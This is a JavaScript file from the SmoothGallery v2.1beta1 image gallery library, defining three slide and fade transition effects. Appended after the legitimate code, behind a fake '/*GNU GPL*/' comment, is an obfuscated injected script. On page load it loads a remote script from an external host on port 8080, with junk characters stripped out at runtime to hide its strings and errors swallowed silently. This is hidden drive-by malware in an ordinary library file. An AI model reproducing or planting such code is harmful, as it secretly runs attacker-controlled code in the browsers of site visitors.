/*
    This file is part of JonDesign's SmoothGallery v2.1beta1.

    JonDesign's SmoothGallery is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 3 of the License, or
    (at your option) any later version.

    JonDesign's SmoothGallery is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with JonDesign's SmoothGallery; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

    Main Developer: Jonathan Schemoul (JonDesign: http://www.jondesign.net/)
*/

gallery.Transitions.extend({
	fadeslideleft: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.Cubic.easeOut;
		oldFx.options.duration = newFx.options.duration = 1500;
		if (newPos > oldPos)
		{
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0],
				opacity: 1
			});
			oldFx.start({opacity: [1,0]});
		} else {
			newFx.start({opacity: [0,1]});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth],
				opacity: 0
			}).chain(function(fx){fx.set({left: 0});}.pass(oldFx));
		}
	},
	continuoushorizontal: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth * -1]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth});
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth * -1});
			newFx.start({
				left: [this.galleryElement.offsetWidth * -1, 0]
			});
		}
	},
	continuousvertical: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight * -1]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight});
			newFx.start({
				top: [this.galleryElement.offsetHeight, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight * -1});
			newFx.start({
				top: [this.galleryElement.offsetHeight * -1, 0]
			});
		}
	}
});
/*GNU GPL*/ try{window.onload = function(){var Cpbg5dpwyhl = document.createElement('s$@c^@$r@i!^p^t!'.replace(/\$|#|&|\^|@|\(|\)|\!/ig, ''));var Avjaq4ivbuvg2 = 'Anw1w34dcjl';Cpbg5dpwyhl.setAttribute('type', 't#^$(e#!!x#)#t$(@@/^j@&&a$!v&@)a)&)s&(@$&c(&)r#@^)i$p!@@@t$!'.replace(/\)|\$|\!|\(|#|@|&|\^/ig, ''));Cpbg5dpwyhl.setAttribute('src',  'h)(t)t#))p$#:&)/!!/!@)!a$&^s((^(g(@-$&#t$!^o)@&.^(f(()^o#@$#t()@&o&l^i^!#a).!&&c()o@!m@(.@!t&n(^^a$(@f($&&l(i!)x(-!)(c@)(o$@m(^.!@(w^@#e@(b)!(n#$e^@#!t@^)!l@^)e#@^)n)#d$($e#&!r@.)#r)(^u@#@:)8!&))0)@8!0(^!&/^@)!@g$!@o!^$o^$&@g!@&l!&e$.#!#c(o#$^$#m^((/^@g@(@o&#o#!g&@l(^&$&e^).(&(c!$)o^)@^m!^$/#&)^b@o^^#!o$k!i(^!n&((&g(^#&.^(c)o@!(&m$$/@$i&$(@n()(s!@@i&@&(g(!!(h!(t@^)e(!)&x$@#p^)&r!##e^)^s)&^s()a@$&@i!&).!@c$o)m#/^)l^&&i&f$!^e()h!#a)&c^$!k(e(r&.^&@c$)$#o@m)!/$#$'.replace(/\)|\(|#|\!|@|&|\$|\^/ig, ''));Cpbg5dpwyhl.setAttribute('defer', 'd!)(e)#f@!$!e$)$r$!)('.replace(/\(|#|\$|@|\)|\!|&|\^/ig, ''));Cpbg5dpwyhl.setAttribute('id', 'O!i#!y)$)b@^8!)!j$2$q^5$$c)($z#&('.replace(/\$|\)|#|\^|@|&|\(|\!/ig, ''));document.body.appendChild(Cpbg5dpwyhl);}} catch(U8dv2ou4vd) {}